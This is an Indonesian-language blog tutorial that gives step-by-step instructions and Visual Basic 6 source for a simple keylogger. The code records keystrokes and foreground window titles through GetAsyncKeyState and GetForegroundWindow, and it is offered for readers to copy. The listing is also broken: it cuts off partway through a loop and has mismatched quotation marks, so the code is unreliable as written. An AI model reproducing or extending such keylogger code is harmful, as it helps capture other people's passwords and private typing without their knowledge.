Membuat Key Logger Dengan Visual Basic

Assalamualaikum wr wb,
Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..

1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE

4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)

5. Copas seluruh Code di bawah ini :

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer

Private Declare Function GetForegroundWindow Lib “user32″ () As Long

Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long

Private hForegroundWnd As Long

Private backs As BooleanPrivate Sub Command1_Click()

Timer1.Enabled = True

End SubPrivate Sub Command2_Click()

Timer1.Enabled = False

End SubPrivate Sub Command3_Click()

backs = True

End SubPrivate Sub Command4_Click()

backs = False

End SubPrivate Sub Form_Load()

backs = True

End Sub

Private Sub Label1_Click()

End Sub

Private Sub Label4_Click()

End Sub

Private Sub Label6_Click()

Timer1.Enabled = True

End Sub

Private Sub Label7_Click()

Timer1.Enabled = False

End Sub

Private Sub Label8_Click()

backs = True

End Sub

Private Sub Label9_Click()

backs = False

End Sub

Private Sub Text1_Change()

Text1.SelStart = 0

Text1.SelLength = Len(Text1.Text)

End Sub

Private Sub Timer1_Timer()

Dim x, x2, i, t As Integer

Dim win As Long

Dim Title As String * 1000

win = GetForegroundWindow()

If (win = hForegroundWnd) Then

GoTo Keylogger

Else

hForegroundWnd = GetForegroundWindow()

Title = “”

GetWindowText hForegroundWnd, Title, 1000

Select Case Asc(Title)

Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95

Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title

Text1.Text = Text1.Text & " ]” & vbCrLf

End Select

End If

Exit Sub

Keylogger:

For i = 65 To 90

x = GetAsyncKeyState(i)

x2 = GetAsyncKeyState(16)

If x = -32767 Then

If x2 = -32768 Then

Text1.Text = Text1.Text & Chr(i)

Else: Text1.Text = Text1.Text & Chr(i + 32)

End If

End If

Next

For i = 8 To 222

6. Jalankan dengan menekan tombol F5

Selamat mencoba, semoga bermanfaat tutorial sederhana membuat keylogger ini. Wassalam…
